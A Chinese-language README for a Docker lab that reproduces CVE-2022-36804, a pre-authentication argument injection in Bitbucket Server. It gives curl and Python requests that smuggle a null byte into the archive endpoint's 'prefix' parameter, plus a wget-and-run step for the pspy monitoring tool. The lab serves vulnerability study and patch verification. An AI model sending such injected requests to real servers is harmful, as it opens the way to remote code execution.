Bitbucket CVE-2022-36804 漏洞复现环境:预认证参数注入导致远程代码执行

7 阅读3分钟

Bitbucket CVE-2022-36804 漏洞复现环境

本项目提供了一个完全隔离的 Docker 环境,用于复现 CVE-2022-36804 漏洞。该漏洞是 Bitbucket Server 和 Data Center 中的一个预认证参数注入缺陷,攻击者能够利用空字节 (%00) 在 git archive 子进程中注入额外参数,最终导致远程代码执行 (RCE)。所有测试均限制在本地环境中进行。

功能特性

  • 漏洞环境一键部署:通过 Docker Compose 快速启动存在漏洞的 Bitbucket 7.21.0 版本实例。
  • 真实攻击链演示:展示了如何通过构造包含空字节的请求,向 git archive 命令注入额外参数。
  • 进程监控集成:指导使用 pspy 工具实时观察容器内进程参数的变化,直观验证参数拆分行为。
  • 完全隔离测试:所有服务运行在本地 Docker 网络中,不影响主机及其他外部系统。

安装指南

系统要求

  • Docker Engine 20.10+
  • Docker Compose 2.0+
  • 至少 4GB 可用内存

部署步骤

  1. 克隆仓库

    git clone https://github.com/your-username/cve-2022-36804-lab.git
    cd cve-2022-36804-lab
    
  2. 启动环境

    docker compose up -d
    
  3. 验证 Bitbucket 版本

    docker exec -it bitbucket cat /opt/atlassian/bitbucket/VERSION
    

    预期输出:7.21.0

使用说明

漏洞复现流程

1. 监控容器进程 (使用 pspy)

首先进入 Bitbucket 容器并启动 pspy 以观察后台命令执行:

docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64

保持 pspy 运行,不要退出终端。

2. 触发漏洞端点

在新的终端中,向 Bitbucket 的 REST API 发送恶意请求。prefix 参数中的 %00 代表空字节:

curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"
3. 观察注入效果

回到 pspy 运行的终端,你将看到类似如下的进程创建事件:

/usr/bin/git archive --format=zip --prefix=test canary/ --

关键观察点

  • testcanary 成为了两个独立的参数,而非原本预期的 test\0canary 单个字符串。
  • 这证明空字节成功截断了原始参数,导致 Bitbucket 将拆分后的多个参数传递给底层 git archive 命令。
典型应用场景
  • 安全研究人员分析漏洞原理
  • 开发团队验证补丁有效性
  • CTF 或红队训练中模拟真实攻击手法

核心代码

漏洞触发请求构造 (Python 示例)

import requests

target = "http://localhost:7990"
path = "/rest/api/latest/projects/TEST/repos/demo/archive"
payload_params = {
    "prefix": "test\x00canary",   # 直接插入空字节
    "format": "zip"
}

response = requests.get(target + path, params=payload_params)
print(f"Status: {response.status_code}")

Docker Compose 配置 (核心部分)

# docker-compose.yml
version: '3.8'
services:
  bitbucket:
    image: atlassian/bitbucket:7.21.0
    container_name: bitbucket
    ports:
      - "7990:7990"
      - "7999:7999"
    environment:
      - JVM_MINIMUM_MEMORY=512m
      - JVM_MAXIMUM_MEMORY=1024m
    volumes:
      - bitbucket_data:/var/atlassian/application-data/bitbucket
    networks:
      - lab_network

volumes:
  bitbucket_data:

networks:
  lab_network:

参数注入监控 (pspy 命令封装)

#!/bin/bash
# monitor.sh - 自动下载并启动 pspy

docker exec -it bitbucket bash -c "
cd /tmp && \
wget -q https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 && \
chmod +x pspy64 && \
./pspy64 -p -i 1000
"

参考文献